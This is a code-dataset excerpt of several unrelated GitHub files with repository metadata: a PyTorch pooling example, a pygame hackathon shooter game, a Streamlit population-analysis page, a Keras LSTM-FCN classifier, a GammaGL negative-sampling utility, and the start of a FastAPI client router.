torch.tensor([[[1, 2, 3, 4, 5, 6, 7, 8, 9]]], dtype=torch.float32)\noutput = pool(input)\nprint(output)\n# tensor([[[3., 4., 5., 6., 7., 8., 9.]]])\n","repo_name":"cccxm/deep-learning","sub_path":"pytorch/nn/pooling-layers/MaxPool1d.py","file_name":"MaxPool1d.py","file_ext":"py","file_size_in_byte":668,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"52"} +{"seq_id":"33027137940","text":"\"\"\"\r\nThis program will be a 2D Shooter where the player's goal is to Mask as many people\r\nas possible\r\n\"\"\"\r\nimport pygame as pg\r\nimport random\r\nfrom time import sleep\r\nfrom sys import exit\r\n\r\n# Initialization\r\npg.init()\r\nscreenWidth = 960\r\nscreenHeight = 640\r\nscreen = pg.display.set_mode((screenWidth, screenHeight))\r\nclock = pg.time.Clock()\r\ngameStatus = True\r\n\r\n# Sets the window name and icon\r\npg.display.set_caption(\"2D Mask Shooter\")\r\nname = pg.image.load('Game Sprites/player.png').convert()\r\npg.display.set_icon(name)\r\n\r\n# NPC Class\r\n\r\n# Projectile Class\r\nmask = pg.image.load('Game Sprites/maskBullet2.png')\r\nclass projectile(object):\r\n def __init__ (self, x, y, spdx, spdy):\r\n self.x = x\r\n self.y = y\r\n self.spdx = spdx\r\n self.spdy = spdy\r\n self.hitbox = (self.x, self.y, 15, 15)\r\n def draw(self, screen):\r\n screen.blit(mask, (self.x, self.y))\r\n pg.draw.rect(screen, (0, 255, 0), self.hitbox, 2)\r\n\r\n#Background\r\nbgSurface = pg.image.load('Game Sprites/Background.png').convert()\r\n\r\n#Player object\r\nplayerSurf = pg.image.load('Game Sprites/player.png').convert_alpha()\r\nplayerSurf = pg.transform.scale2x(playerSurf)\r\nplayerRect = playerSurf.get_rect()\r\n\r\n\r\nclass char(object):\r\n def __init__ (self, x, y, width, height, spd):\r\n self.x = x\r\n self.y = y\r\n self.width = width\r\n self.height = height\r\n self.spd = spd\r\n self.hitbox = (self.x + 20, self.y - 25, 28, 60)\r\n def draw(self, screen):\r\n screen.blit(playerSurf, (self.x, self.y))\r\n\r\n self.hitbox = (self.x, self.y, 40, 35)\r\n pg.draw.rect(screen, (255, 0, 255), self.hitbox, 2)\r\n\r\nclass NPC(object):\r\n def __init__(self, x, y, width, height):\r\n self.x = x\r\n self.y = y\r\n self.width = width\r\n self.height = height\r\n self.vel = 3\r\n self.hitbox = (self.x + 17, self.y + 2, 31, 57)\r\n\r\n def draw(self, win):\r\n self.move()\r\n win.blit(npcSurf, (self.x, self.y))\r\n\r\n def move(self):\r\n if self.x > 2 and self.x < 850:\r\n self.x += random.choice(npcMoveLst)\r\n if self.x > 2:\r\n self.x += abs(random.choice(npcMoveLst))\r\n elif self.x <= 2:\r\n self.x = 25\r\n if self.x < 850:\r\n self.x = abs(random.choice(npcMoveLst))\r\n elif self.x >= 850:\r\n self.x = 25\r\n if self.y > 2 and self.y < 550:\r\n self.y += random.choice(npcMoveLst)\r\n if self.y > 2:\r\n self.y += abs(random.choice(npcMoveLst))\r\n elif self.y <= 2:\r\n self.y = 25\r\n if self.y < 550:\r\n self.y -= abs(random.choice(npcMoveLst))\r\n elif self.y >= 550:\r\n self.y = 25\r\n\r\n def hit(self):\r\n print('hit')\r\n\r\ndef createNPC():\r\n i = 0\r\n npcRect = npcSurf.get_rect(center=(npcx[i], npcy[i]))\r\n i += 1\r\n return npcRect\r\n\r\n\r\ndef drawNPC(lst):\r\n for npc in lst:\r\n screen.blit(npcSurf, npc)\r\n pg.display.update()\r\n\r\n\r\ndef moveNPC(npcs, lst):\r\n for npc in npcs:\r\n if npc.centerx > 2 and npc.centerx < 850:\r\n npc.centerx += random.choice(lst)\r\n if npc.centerx > 2:\r\n npc.centerx += abs(random.choice(lst))\r\n elif npc.centerx <= 2:\r\n npc.centerx = 25\r\n if npc.centerx < 850:\r\n npc.centerx = abs(random.choice(lst))\r\n elif npc.centerx >= 850:\r\n npc.centerx = 25\r\n if npc.centery > 2 and npc.centery < 550:\r\n npc.centery += random.choice(lst)\r\n if npc.centery > 2:\r\n npc.centery += abs(random.choice(lst))\r\n elif npc.centery <= 2:\r\n npc.centery = 25\r\n if npc.centery < 550:\r\n npc.centery -= abs(random.choice(lst))\r\n elif npc.centery >= 550:\r\n npc.centery = 25\r\n return npcs\r\n# Redraw/update the entire canvas\r\ndef redraw(lst):\r\n screen.blit(bgSurface, (0, 0))\r\n player.draw(screen)\r\n drawNPC(lst)\r\n for bullet in bullets:\r\n bullet.draw(screen)\r\n for buil in buildingCoord:\r\n screen.blit(buildSurf, buil)\r\n gameStatusLable = mainFont.render(f\"Game Status: {gameStatus}\", 1, (150, 5, 150), )\r\n screen.blit(gameStatusLable, (10, 10))\r\n pg.display.update()\r\n\r\n\r\n\r\n\r\ndef resetGame(x, y, lst):\r\n x, y = 0, 0\r\n lst.clear()\r\n return x, y, lst\r\n\r\n\r\ndef checkHit(lstNpc):\r\n for bullet in bullets:\r\n for npc in lstNpc:# Don't forget this part of the code\r\n if bullet.collide(npc):\r\n npc = pg.image.load('Game Sprites/masked.png')\r\n return npc\r\n else:\r\n return npc\r\n\r\n\r\ndef checkColl(build, speed):\r\n for wall in build:\r\n if playerRect.colliderect(wall):\r\n return -speed\r\n\r\ndef createWallLst(horizLst, vertLst):\r\n for horiz in horizLst:\r\n wallLst.append(horiz)\r\n for vert in vertLst:\r\n wallLst.append(vert)\r\n return wallLst\r\n\r\ndef buildings(rectLst):\r\n for rect in rectLst:\r\n print(rect)\r\n x, y, w, h = rect\r\n rect = buildSurf.get_rect(topleft=(x, y))\r\n buildingRects.extend(rect)\r\n return buildingRects\r\n\r\n\r\n\r\n\r\n# Player Defaults\r\npx, py = screenWidth/2, screenHeight/2\r\nspd = 5\r\n\r\n# Create a player\r\nplayer = char(px, py, 32, 32, spd)\r\n\r\n# Walls\r\nwallLst = []\r\nvertWallSurf = pg.image.load('Game Sprites/verticalWall.png').convert_alpha()\r\nvertwallSurf = pg.transform.scale2x(vertWallSurf)\r\nvertRect = vertwallSurf.get_rect()\r\n\r\nhorizWallSurf = pg.image.load('Game Sprites/horizontalWall.png').convert_alpha()\r\nhorizWallSurf = pg.transform.scale2x(horizWallSurf)\r\nhorizRect = horizWallSurf.get_rect()\r\n\r\n# Buildings\r\nbuildSurf = pg.image.load('Game Sprites/buildingTop.png').convert()\r\nbuildingCoords = [(0, 78, 177, 277), (260, 79, 441, 279), (521, 80, 698, 277), (782, 79, 958, 279), (0, 360, 180, 560), (260, 359, 441, 560), (520, 361, 700, 558), (780, 358, 956, 556)]\r\nbuildingCoord = [(0, 78), (260, 79), (521, 80), (782, 79), (0, 360), (260, 359), (520, 361), (780, 358)]\r\nbuildingRects = []\r\n\r\nbuildings(buildingCoords)\r\nprint(buildingRects)\r\n\r\n# NPC Defaults\r\nnpcSurf = pg.image.load('Game Sprites/unmasked.png').convert_alpha()\r\nnpcSurf = pg.transform.scale2x(npcSurf)\r\nnpcRect = npcSurf.get_rect()\r\nprint(npcSurf.get_rect())\r\nnpcx = [200, 350, 500]\r\nnpcy = [200, 350, 500]\r\nnpcMoveLst = [10, 20, 30, -10, -20, -30]# These are the different distances the NPC can move\r\nnpcDelayLst = [250, 500, 750, 1000]# These are the times in between each movement(in milliseconds)\r\nnpcLst = []# This creates a list to store all NPCs in\r\nNPCDRAW = pg.USEREVENT\r\nSPAWNNPC = pg.USEREVENT# This creates an event type called SPAWNNPC\r\npg.time.set_timer(SPAWNNPC, random.choice(npcDelayLst))# This sets a timer that delays the spawning of npcs for a random amount of time\r\npg.time.set_timer(NPCDRAW, random.choice(npcDelayLst))\r\n\r\n\r\n# Bullets\r\nbullet = projectile\r\n\r\nbullets = []\r\nshootLoop = 0\r\nbulletSpd = 10\r\n# bulletRect = (bullet.x, bullet.y, bullet.width, bullet.height)\r\n\r\n\r\nonetick = 20\r\ndelay = 1\r\n# Main Loop\r\n\r\nwhile True:\r\n pg.time.delay(delay)\r\n clock.tick(onetick)\r\n if shootLoop > 0:\r\n shootLoop += 1\r\n if shootLoop > 3:\r\n shootLoop = 0\r\n mainFont = pg.font.SysFont('comicsans', 50)# Creates the font variable\r\n for event in pg.event.get():# Checks for events\r\n if event.type == pg.QUIT:# If x is clicked, exit game\r\n pg.quit()\r\n exit()\r\n\r\n if len(npcLst) <= 2:\r\n if event.type == SPAWNNPC:# If the timer goes off, create an NPC\r\n npcLst.append(createNPC())\r\n if event.type == NPCDRAW:\r\n npcLst = moveNPC(npcLst, npcMoveLst) # Moves all of the npcs at the same time\r\n if event.type == pg.MOUSEBUTTONUP:\r\n pos = pg.mouse.get_pos()\r\n print(pos)\r\n\r\n\r\n for bullet in bullets:\r\n if bullet.x < screenWidth and bullet.x > 0 and bullet.y > 0 and bullet.y < screenHeight:\r\n bullet.x += spdx\r\n bullet.y += spdy\r\n pg.draw.rect(screen, (0, 255, 0), bullet.hitbox, 2)\r\n else:\r\n bullets.pop(bullets.index(bullet))\r\n\r\n # checkHit(npcLst)\r\n\r\n\r\n keys = pg.key.get_pressed()# If one of the arrow keys are pressed, move in that direction\r\n\r\n if keys[pg.K_LEFT] and gameStatus and player.x > player.spd:\r\n player.x -= spd\r\n checkColl(wallLst, spd)\r\n isLeft = True\r\n isUp = isRight = isDown = False\r\n if keys[pg.K_UP] and gameStatus and player.y > player.spd:\r\n player.y -= spd\r\n isUp = True\r\n isLeft = isRight = isDown = False\r\n if keys[pg.K_RIGHT] and gameStatus and player.x < screenWidth - player.width - spd:\r\n player.x += spd\r\n isRight = True\r\n isUp = isLeft = isDown = False\r\n if keys[pg.K_DOWN] and gameStatus and player.y < screenHeight - player.height - spd:\r\n player.y += spd\r\n isDown = True\r\n isUp = isRight = isLeft = False\r\n if keys[pg.K_SPACE] and gameStatus and shootLoop == 0:# if event.key == pg.K_SPACE and gameStatus:# If the space bar is pressed and the game is active, sho0t a mask\r\n if isDown:\r\n spdx = 0\r\n spdy = bulletSpd\r\n if isUp:\r\n spdx = 0\r\n spdy = -1 * bulletSpd\r\n if isLeft:\r\n spdx = -1 * bulletSpd\r\n spdy = 0\r\n if isRight:\r\n spdx = bulletSpd\r\n spdy = 0\r\n if len(bullets) < 100:\r\n bullets.append(projectile(round(player.x + player.width//2),round(player.y + player.height//2), spdx, spdy))\r\n if keys[pg.K_BACKSPACE] and not gameStatus: # If the spacebar is pressed and the game isn't active, restart\r\n gameStatus = True\r\n px, py, npcLst = resetGame(px, py, npcLst)\r\n if keys[pg.K_BACKSPACE] and gameStatus:\r\n gameStatus = False\r\n # if pg.mouse.get_pressed():\r\n # print(pg.mouse.get_pos())\r\n\r\n\r\n redraw(npcLst)\r\n\r\n\r\n\r\n","repo_name":"mazzacaneanthony/cusehacks-2021","sub_path":"yulun_2D_Mask_Shooter.py","file_name":"yulun_2D_Mask_Shooter.py","file_ext":"py","file_size_in_byte":9986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"15819374722","text":"\"\"\"Proximity analysis page for Streamlit app.\"\"\"\nimport os\nimport time\n\nimport streamlit as st\nimport yaml\nfrom src.utils import (\n add_about,\n add_logo,\n elapsed_time_string,\n set_tool_page_style,\n toggle_menu_button,\n)\nfrom src.utils_ee import ee_initialize\nfrom src.utils_plotting import plot_pop_data, st_download_figures\nfrom src.utils_population import (\n add_population_data,\n create_tif_folder,\n delete_tif_folder,\n load_gdf,\n st_download_csv,\n st_download_shapefile,\n visualize_data,\n)\n\n# Load configuration options\nconfig_path = os.path.abspath(\n os.path.join(os.path.dirname(__file__), os.pardir, \"config\", \"config.yml\")\n)\nconfig = yaml.safe_load(open(config_path))\n\n# Page configuration\ntry:\n st.set_page_config(layout=\"wide\", page_title=config[\"browser_title\"])\nexcept Exception:\n pass\n\n# If app is deployed hide menu button\ntoggle_menu_button()\n\n# Create sidebar\nadd_logo(\"app/img/MA-logo.png\")\nadd_about()\n\n# Page title\nst.markdown(\"# Population analysis\")\n\n# Set page style\nset_tool_page_style()\n\n# Initialise Google Earth Engine\nee_initialize()\n\n# Parameters\nverbose = True\nlimit_size_data = False\n\n# Set initial stage to 0\nif \"stage\" not in st.session_state:\n st.session_state.stage = 0\n\nif \"gdf_with_pop\" not in st.session_state:\n st.session_state.gdf_with_pop = None\n\naggregation_default_options = [\n \"Total population\",\n \"Disaggregated population (gender, age)\",\n]\naggregation_dict = {\n aggregation_default_options[0]: True,\n aggregation_default_options[1]: False,\n}\nyes_no_dict = {\n \"Yes\": True,\n \"No\": False,\n}\n\n# Create tif folder\nif \"tif_folder\" not in st.session_state:\n st.session_state.tif_folder = create_tif_folder()\n\n\n# Define function to change stage\ndef set_stage(stage):\n \"\"\"\n Set stage for the app.\n\n Each time a certain button is pressed, the stage progresses by one.\n \"\"\"\n st.session_state.stage = stage\n\n\n# Disclaimer\nif st.session_state.stage == 0:\n st.markdown(\n \"\"\"\n

    \n Important. Please make sure to carefully read the\n home and documentation pages before running the tool. It is\n essential to familiarize yourself with how to use it and be aware\n of its main limitations and potential challenges when disseminating\n the outputs.\n

    \n \"\"\"\n % (config[\"disclaimer_fontsize\"],),\n unsafe_allow_html=True,\n )\n accept = st.button(\"OK!\", on_click=set_stage, args=(1,))\n\nif st.session_state.stage >= 1:\n # Create file uploader object for POIs\n upload_geometry_file = st.file_uploader(\n \"Upload a zipped shapefile containing your geometries\",\n type=[\"zip\"],\n on_change=set_stage,\n args=(2,),\n )\n\n if not upload_geometry_file:\n st.session_state.stage = 1\n\nif st.session_state.stage >= 2:\n gdf, size_gdf, error = load_gdf(upload_geometry_file)\n\n if error:\n st.error(error)\n st.stop()\n\n # TODO: creating folium maps takes time, this should not be run every time\n # st.cache does not work, as there are no outputs\n # st.form does not work, as there are several buttons and callbacks in\n # the app that are not compatible with it\n visualize_data(gdf)\n\n options_default = [\"\", \"unconstrained\", \"UNadj_constrained\"]\n data_type = st.selectbox(\n \"Select type of population dataset\",\n options=options_default,\n index=0,\n on_change=set_stage,\n args=(3,),\n )\n\nif st.session_state.stage >= 3:\n if data_type == \"\":\n aggregation_options = [\"\"]\n elif data_type == \"unconstrained\":\n aggregation_options = [\"\"] + aggregation_default_options\n else:\n aggregation_options = [\"\", aggregation_default_options[1]]\n aggregation = st.selectbox(\n \"Select the data aggregation\",\n options=aggregation_options,\n index=0,\n on_change=set_stage,\n args=(4,),\n )\n\nif st.session_state.stage >= 4:\n if aggregation == \"\":\n year_options = [\"\"]\n elif aggregation == aggregation_default_options[0]:\n year_options = [\"\"] + [str(y) for y in range(2000, 2021)]\n else:\n year_options = [\"\"] + [\"2020\"]\n year = st.selectbox(\n \"Select year\",\n options=year_options,\n index=0,\n on_change=set_stage,\n args=(5,),\n )\n\n st.markdown(\"### \")\n\nif st.session_state.stage >= 5:\n if all([param != \"\" for param in [year, aggregation, data_type]]):\n run = st.button(\"Ready to run?\", on_click=set_stage, args=(6,))\n\n\n# Run computations\nif st.session_state.stage >= 6:\n st.markdown(\"\"\"---\"\"\")\n st.markdown(\"## Results\")\n\n # run analysis\n if run:\n if limit_size_data:\n gdf = gdf.iloc[:4,]\n start_time = time.time()\n gdf_with_pop = add_population_data(\n gdf=gdf,\n size_gdf=size_gdf,\n data_type=data_type,\n tif_folder=st.session_state.tif_folder,\n year=int(year),\n aggregated=aggregation_dict[aggregation],\n rounding_to_which_power_of_ten=2,\n progress_bar=True,\n )\n delete_tif_folder(st.session_state.tif_folder)\n elapsed = time.time() - start_time\n st.markdown(elapsed_time_string(elapsed))\n st.session_state.gdf_with_pop = gdf_with_pop\n\n st.success(\"Computation complete.\")\n st.dataframe(st.session_state.gdf_with_pop.to_wkt())\n\n st_download_shapefile(\n gdf=st.session_state.gdf_with_pop,\n filename=\"Shapefile_with_pop_data.zip\",\n label=\"Download shapefile\",\n )\n\n st_download_csv(\n gdf=st.session_state.gdf_with_pop,\n filename=\"DataFrame_with_pop_data.csv\",\n label=\"Download csv\",\n )\n\n st.markdown(\"\"\"---\"\"\")\n st.markdown(\"## Population plots\")\n\n col_label = st.selectbox(\n \"Select field for label\",\n options=st.session_state.gdf_with_pop.columns.to_list(),\n index=0,\n on_change=set_stage,\n args=(6,),\n )\n\n stacked_bool = False\n if not aggregation_dict[aggregation]:\n stacked = st.selectbox(\n \"Plot stacked population pyramid?\",\n options=[\"No\", \"Yes\"],\n index=0,\n on_change=set_stage,\n args=(6,),\n )\n stacked_bool = yes_no_dict[stacked]\n legend_title = st.text_input(\n \"Type legend title (only for stacked pyramids)\",\n value=\"Legend\",\n disabled=not stacked_bool,\n on_change=set_stage,\n args=(6,),\n )\n else:\n legend_title = \"\"\n\n plot_button = st.button(\"Create plot\", on_click=set_stage, args=(7,))\n\n\nif st.session_state.stage >= 7:\n fig = plot_pop_data(\n gdf=st.session_state.gdf_with_pop,\n col_label=col_label,\n legend_title=legend_title,\n aggregated=aggregation_dict[aggregation],\n stacked=stacked_bool,\n )\n\n st.plotly_chart(fig, use_container_width=True)\n\n st_download_figures(\n fig=fig,\n gdf=st.session_state.gdf_with_pop,\n col_label=col_label,\n filename=\"Figure_pop_data\",\n label=\"Download figure(s)\",\n aggregated=aggregation_dict[aggregation],\n stacked=stacked_bool,\n )\n\n st.button(\"Reset analysis\", on_click=set_stage, args=(0,))\n","repo_name":"mapaction/population-tool","sub_path":"app/pages/1_🌍_Population_analysis.py","file_name":"1_🌍_Population_analysis.py","file_ext":"py","file_size_in_byte":7369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"32508586814","text":"from __future__ import print_function\r\nimport numpy as np\r\nfrom tensorflow import set_random_seed\r\n\r\nfrom keras.models import Model\r\nfrom keras.utils import np_utils\r\nfrom keras.engine.input_layer import Input\r\nfrom keras.layers import Dropout, BatchNormalization, Conv1D, GlobalAveragePooling1D, Concatenate\r\nfrom keras.layers.core import Dense, Activation\r\nfrom keras.layers.recurrent import LSTM\r\nfrom keras.callbacks import EarlyStopping, ReduceLROnPlateau, ModelCheckpoint\r\nfrom keras.optimizers import Adam\r\n\r\nfrom get_data import get_data\r\nfrom tensorboard_callback_wrapper import TrainValTensorBoard\r\n\r\n### Seed for reproductibility\r\n# np.random.seed(123)\r\n# set_random_seed(456)\r\n\r\n### Hyperparameters\r\nbatch_size = 20\r\nhidden_units = 128\r\n\r\n\r\ndef generate_model(shape):\r\n \r\n print('Build model...')\r\n\r\n \r\n \r\n ####### Generating the model #########\r\n inp = Input(shape = (shape,1))\r\n\r\n\r\n ### LSTM part\r\n ls = LSTM(hidden_units)(inp)\r\n ls = Dropout(0.8)(ls)\r\n \r\n \r\n ### Convolutional part \r\n conv = Conv1D(128, 8, padding='same')(inp)\r\n conv = BatchNormalization()(conv)\r\n conv = Activation('relu')(conv)\r\n conv = squeeze_and_excite(conv)\r\n \r\n conv = Conv1D(256, 5, padding='same')(conv)\r\n conv = BatchNormalization()(conv)\r\n conv = Activation('relu')(conv)\r\n conv = squeeze_and_excite(conv)\r\n \r\n conv = Conv1D(128, 3, padding='same')(conv)\r\n conv = BatchNormalization()(conv)\r\n conv = Activation('relu')(conv)\r\n \r\n conv = GlobalAveragePooling1D()(conv)\r\n \r\n \r\n ### Concatenation and FC network\r\n out = Concatenate()([conv, ls])\r\n out = Dense(2, activation = 'softmax')(out)\r\n \r\n \r\n model = Model(inp, out)\r\n\r\n\r\n ### Learning algorithm\r\n model.compile(loss='binary_crossentropy', optimizer=Adam(lr = 0.0001), metrics=['accuracy'])\r\n \r\n return model\r\n\r\ndef squeeze_and_excite(input):\r\n filters = input._keras_shape[-1] # channel_axis = -1 for TF\r\n\r\n outp = GlobalAveragePooling1D()(input)\r\n outp = Reshape((1, filters))(outp)\r\n outp = Dense(filters // 16, activation='relu', kernel_initializer='he_normal', use_bias=False)(outp)\r\n outp = Dense(filters, activation='sigmoid', kernel_initializer='he_normal', use_bias=False)(outp)\r\n outp = multiply([input, outp])\r\n return outp\r\n\r\n\r\ndef train_model(model, X_train, X_val, X_test, y_train, y_val, y_test): \r\n \r\n ### Preprocessing\r\n print('Preprocessing...')\r\n print(\"Mean of training set : \", np.mean(X_train)) \r\n #print(\"Mean of validation set : \", np.mean(X_val)) \r\n print(\"Mean of test set : \", np.mean(X_test)) \r\n Y_train = np_utils.to_categorical(np.clip(y_train, 0, 1), 2)\r\n Y_val = np_utils.to_categorical(np.clip(y_val, 0, 1), 2)\r\n Y_test = np_utils.to_categorical(np.clip(y_test, 0, 1), 2)\r\n \r\n ### Callbacks\r\n checkp = ModelCheckpoint('best_model', save_best_only=True, monitor='val_loss', mode='min')\r\n #esCallBack = EarlyStopping(patience = 2, verbose = 1, restore_best_weights = True)\r\n reduce_lr = ReduceLROnPlateau(monitor='loss', factor=0.1, patience=2, verbose=1, epsilon=1e-4, mode='min')\r\n '''tbCallBack = TensorBoard(log_dir='./logs', histogram_freq=0, #To visualize the created files from the current dir :\r\n write_graph=True, write_images=True) #tensorboard --logdir=logs --host localhost --port 8088'''\r\n \r\n\r\n ### Training and evualuation\r\n print(\"Training ...\")\r\n history = model.fit(X_train, Y_train,\r\n batch_size=batch_size, epochs=30,\r\n #validation_split = 0.2,\r\n validation_data=(X_val, Y_val), \r\n callbacks = [checkp, reduce_lr],\r\n verbose = 1)\r\n model.load_weights('best_model')\r\n [score, acc] = model.evaluate(X_test, Y_test,\r\n batch_size=batch_size,\r\n verbose = 0)\r\n #prediction = model.predict(X_test, batch_size = batch_size)\r\n #print(prediction)\r\n print('Test score : %.3f' % score)\r\n print('Test accuracy : %.2f %%' % (acc*100))\r\n #print('Test accuracy: %.2f %%' % (100 - len(y_test[np.nonzero(np.argmax(prediction, axis = 1) - y_test)]) *100 / 50))\r\n return history, acc\r\n \r\nif __name__ == \"__main__\":\r\n #X_train, X_test, y_train, y_test = get_data(\"test\")\r\n #X_train, X_test, y_train, y_test = get_data(\"west\", \"skane\", balance = True)\r\n #model = generate_model(X_train.shape[1])\r\n train_model(model, X_train, X_test, y_train, y_test)\r\n","repo_name":"AloveIs/AccentComparison","sub_path":"lstm_fcn.py","file_name":"lstm_fcn.py","file_ext":"py","file_size_in_byte":4528,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"27546844156","text":"import random\n\nimport numpy as np\nimport tensorlayerx as tlx\n\nfrom gammagl.utils import coalesce, degree, remove_self_loops\nfrom .num_nodes import maybe_num_nodes\n\ndef negative_sampling(edge_index, num_nodes = None, num_neg_samples = None, method = 'sparse', force_undirected = False):\n r\"\"\"Samples random negative edges of a graph given by :attr:`edge_index`.\n Args:\n edge_index: The edge indices.\n num_nodes (int or Tuple[int, int], optional): The number of nodes,\n *i.e.* :obj:`max_val + 1` of :attr:`edge_index`.\n If given as a tuple, then :obj:`edge_index` is interpreted as a\n bipartite graph with shape :obj:`(num_src_nodes, num_dst_nodes)`.\n (default: :obj:`None`)\n num_neg_samples (int, optional): The (approximate) number of negative\n samples to return.\n If set to :obj:`None`, will try to return a negative edge for every\n positive edge. (default: :obj:`None`)\n method (string, optional): The method to use for negative sampling,\n *i.e.*, :obj:`\"sparse\"` or :obj:`\"dense\"`.\n This is a memory/runtime trade-off.\n :obj:`\"sparse\"` will work on any graph of any size, while\n :obj:`\"dense\"` can perform faster true-negative checks.\n (default: :obj:`\"sparse\"`)\n force_undirected (bool, optional): If set to :obj:`True`, sampled\n negative edges will be undirected. (default: :obj:`False`)\n \"\"\"\n assert method in ['sparse', 'dense']\n\n bipartite = isinstance(num_nodes, (tuple, list))\n if num_nodes is None:\n num_nodes = maybe_num_nodes(edge_index)\n if bipartite:\n force_undirected = False\n else:\n num_nodes = (num_nodes, num_nodes)\n\n idx, population = edge_index_to_vector(edge_index, num_nodes, bipartite, force_undirected)\n\n if tlx.convert_to_numpy(idx).size >= population:\n return tlx.convert_to_tensor([[],[]], dtype=edge_index.dtype)\n \n if num_neg_samples is None:\n num_neg_samples = edge_index.shape[1]\n if force_undirected:\n num_neg_samples = num_neg_samples // 2\n \n prob = 1. - tlx.convert_to_numpy(idx).size / population\n sample_size = int(1.1 * num_neg_samples / prob)\n\n neg_idx = None\n if method == 'dense':\n if tlx.BACKEND == 'paddle':\n mask = tlx.ones((population,), dtype=tlx.int64)\n mask[idx] = 0\n else:\n mask = tlx.ones((population,), dtype=tlx.bool)\n mask = tlx.scatter_update(mask, idx, tlx.zeros((idx.shape[0],), dtype=tlx.bool))\n for _ in range(3):\n rnd = sample(population, sample_size)\n if tlx.BACKEND == 'paddle':\n indices = tlx.convert_to_tensor(tlx.convert_to_numpy(tlx.gather(mask, rnd)), dtype = tlx.bool)\n else:\n indices = tlx.gather(mask, rnd)\n rnd = tlx.mask_select(rnd, indices)\n if neg_idx is None:\n neg_idx = rnd\n else:\n neg_idx = tlx.concat([neg_idx, rnd], axis=0)\n if tlx.convert_to_numpy(neg_idx).size >= num_neg_samples:\n neg_idx = neg_idx[:num_neg_samples]\n break\n if tlx.BACKEND == 'paddle':\n mask[neg_idx] = 0\n else:\n mask = tlx.scatter_update(mask, neg_idx, tlx.zeros((neg_idx.shape[0],), dtype=tlx.bool))\n\n else:\n idx = tlx.to_device(idx, 'cpu')\n for _ in range(3):\n rnd = sample(population, sample_size, True)\n mask = np.isin(rnd, idx)\n if neg_idx is not None:\n mask |= np.isin(tlx.convert_to_numpy(rnd), tlx.convert_to_numpy(neg_idx))\n mask = tlx.convert_to_tensor(mask, dtype=tlx.bool, device='cpu')\n rnd = tlx.mask_select(rnd, ~mask)\n if neg_idx is None:\n neg_idx = rnd\n else:\n neg_idx = tlx.concat([neg_idx, rnd], axis=0)\n if tlx.convert_to_numpy(neg_idx).size >= num_neg_samples:\n neg_idx = neg_idx[:num_neg_samples]\n break\n neg_idx = tlx.convert_to_tensor(tlx.convert_to_numpy(neg_idx), dtype = tlx.int64)\n return vector_to_edge_index(neg_idx, num_nodes, bipartite, force_undirected)\n\n\ndef sample(population, k, cpu=False):\n if population <= k:\n if cpu:\n return tlx.convert_to_tensor(np.arange(population), device='cpu')\n else:\n return tlx.convert_to_tensor(np.arange(population))\n else:\n if cpu:\n return tlx.convert_to_tensor(random.sample(range(population), k), device='cpu')\n else:\n return tlx.convert_to_tensor(random.sample(range(population), k))\n\n\ndef edge_index_to_vector(edge_index, size, bipartite, force_undirected):\n row, col = edge_index\n\n if bipartite:\n return row * size[1] + col, size[0] * size[1]\n \n elif force_undirected:\n assert size[0] == size[1]\n num_nodes = size[0]\n\n mask = row < col\n row, col = tlx.mask_select(row, mask), tlx.mask_select(col, mask)\n offset = tlx.gather(tlx.cumsum(tlx.arange(1, num_nodes)), row)\n idx = row * num_nodes + col - offset\n population = (num_nodes * (num_nodes + 1)) // 2 - num_nodes\n return idx, population\n \n else:\n assert size[0] == size[1]\n num_nodes = size[0]\n\n mask = row != col\n row = tlx.convert_to_numpy(tlx.mask_select(row, mask))\n col = tlx.convert_to_numpy(tlx.mask_select(col, mask))\n\n indice = tlx.mask_select(tlx.arange(0, col.shape[0]), tlx.convert_to_tensor(row < col))\n indice = tlx.convert_to_numpy(indice)\n col[indice] = col[indice] - 1\n # col = tlx.tensor_scatter_nd_update(col, indice, tlx.gather(col, indice) - 1)\n \n idx = row * (num_nodes - 1) + col\n population = num_nodes * (num_nodes - 1)\n return tlx.convert_to_tensor(idx), population\n\n\ndef vector_to_edge_index(idx, size, bipartite, force_undirected):\n if bipartite:\n row = idx // size[1]\n col = idx % size[1]\n return tlx.stack([row, col])\n \n else:\n assert size[0] == size[1]\n num_nodes = size[0]\n\n if force_undirected:\n offset = tlx.cumsum(tlx.arange(1, num_nodes))\n end = tlx.arange(num_nodes, num_nodes * num_nodes, num_nodes)\n row = tlx.convert_to_tensor(np.digitize(idx, end - offset, right=True))\n col = (tlx.gather(offset, row) + idx) % num_nodes\n return tlx.stack([tlx.concat([row, col]), tlx.concat([col, row])])\n \n else:\n row = idx // (num_nodes - 1)\n col = idx % (num_nodes - 1)\n row = tlx.convert_to_numpy(row)\n col = tlx.convert_to_numpy(col)\n indice = tlx.mask_select(tlx.arange(0, col.shape[0]), tlx.convert_to_tensor(row <= col))\n indice = tlx.convert_to_numpy(indice)\n col[indice] = col[indice] + 1\n row = tlx.convert_to_tensor(row)\n col = tlx.convert_to_tensor(col)\n # col = tlx.scatter_update(col, indice, tlx.gather(col, indice) + 1)\n return tlx.stack([row, col])\n","repo_name":"BUPT-GAMMA/GammaGL","sub_path":"gammagl/utils/negative_sampling.py","file_name":"negative_sampling.py","file_ext":"py","file_size_in_byte":7206,"program_lang":"python","lang":"en","doc_type":"code","stars":157,"dataset":"github-code","pt":"52"} +{"seq_id":"11721697716","text":"from typing import Any\n\nfrom fastapi import APIRouter, Depends, status\nfrom bson import ObjectId\nfrom motor.motor_asyncio import AsyncIOMotorCollection\nfrom starlette.responses import Response\n\nfrom models.client import Client, UpdateClientModel\nfrom utils.mongo_utils import get_clients_collection, map_client, get_filter\n\nclient_router = APIRouter()\n\n\n@client_router.post(\"/\")\nasync def add_client(client: UpdateClientModel,\n db_collection: AsyncIOMotorCollection = Depends(get_clients_collection)) -> str:\n insert_result = await db_collection.insert_one(dict(client))\n return str(insert_result.inserted_id)\n\n\n@client_router.put(\"/{client_id}\", response_model=Client)\nasync def update_student(client_id: str, client_model: UpdateClientModel,\n db_collection: AsyncIOMotorCollection = Depends(get_clients_collection)) -> Any:\n if not ObjectId.is_valid(client_id):\n return Response(status_code=status.HTTP_400_BAD_REQUEST)\n student = await db_collection.find_one_and_replace(get_filter(client_id), dict(client_model))\n if student is None:\n return Response(status_code=status.HTTP_404_NOT_FOUND)\n return map_client(student)\n\n\n@client_router.get(\"/\")\nasync def 